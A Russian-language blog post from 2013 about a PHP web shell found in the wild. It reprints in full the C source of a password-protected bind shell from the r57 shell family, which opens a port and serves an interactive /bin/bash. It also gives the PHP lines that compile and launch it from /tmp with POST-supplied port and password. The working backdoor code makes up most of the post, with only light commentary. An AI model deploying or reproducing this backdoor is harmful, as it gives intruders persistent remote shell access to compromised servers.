Просмотров: 4028

Вести с полей: выловлен php-shell генерирующий C-код


На первый взгляд кажется, что мы имеем дело с обычным php-shell’ом. Но... при более детальном рассмотрении обнаруживаем, что в теле скрипта в base64 упакован код на С.

Под катом исходник, выловлен in wild world, зверюшка будет интересна только кодерам. Скажи мне кто такое — никогда не поверил бы.

пхп иисус прослезился ссылка передача PHP exploit rrror ошибка битрикс bitrix

Исходник

$port_bind_bd_c="
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{
int sockfd, newfd;
char buf[30];
struct sockaddr_in remote;
if(fork() == 0) {
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror("socket error");
bind(sockfd, (struct sockaddr *)&remote, 0x10);
listen(sockfd, 5);
while(1)
{
 newfd=accept(sockfd,0,0);
 dup2(newfd,0);
 dup2(newfd,1);
 dup2(newfd,2);
 write(newfd,"Password:",10);
 read(newfd,buf,sizeof(buf));
 if (!chpass(argv[2],buf))
 system("echo welcome to r57 shell POWERED by d35m0 && /bin/bash -i");
 else
 fprintf(stderr,"Sorry");
 close(newfd);
}
}
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++)
{
 if(entered[i] == '\n')
 entered[i] = '\0';
 if(entered[i] == '\r')
 entered[i] = '\0';
}
if (!strcmp(base,entered))
return 0;
}
";

Запускается так

cf("/tmp/bd.c",$port_bind_bd_c);
$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
@unlink("/tmp/bd.c");
$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="ps -aux | grep bd";

И вообще, в жизни любого программиста есть такие решения, после принятия которых тараканы в голове аплодируют стоя.

поддержка кода советы программист программирование пхп php пхп иисус прослезился ссылка передача PHP

Внешняя ссылка по теме: Пример того, как сервер под управлением *nix может стать частью ботнета.

twitter.com facebook.com vkontakte.ru odnoklassniki.ru mail.ru ya.ru pikabu.ru blogger.com liveinternet.ru livejournal.ru google.com bobrdobr.ru yandex.ru del.icio.us

Подписка на обновления блога → через RSS, на e-mail, через Twitter
Теги: , , ,
Эта запись опубликована: Воскресенье, 10 февраля 2013 в рубрике Программирование.

Оставьте комментарий!

Не регистрировать/аноним

Используйте нормальные имена. Ваш комментарий будет опубликован после проверки.

Зарегистрировать/комментатор

Для регистрации укажите свой действующий email и пароль. Связка email-пароль позволяет вам комментировать и редактировать данные в вашем персональном аккаунте, такие как адрес сайта, ник и т.п. (Письмо с активацией придет в ящик, указанный при регистрации)

(обязательно)


⇑ Наверх
⇓ Вниз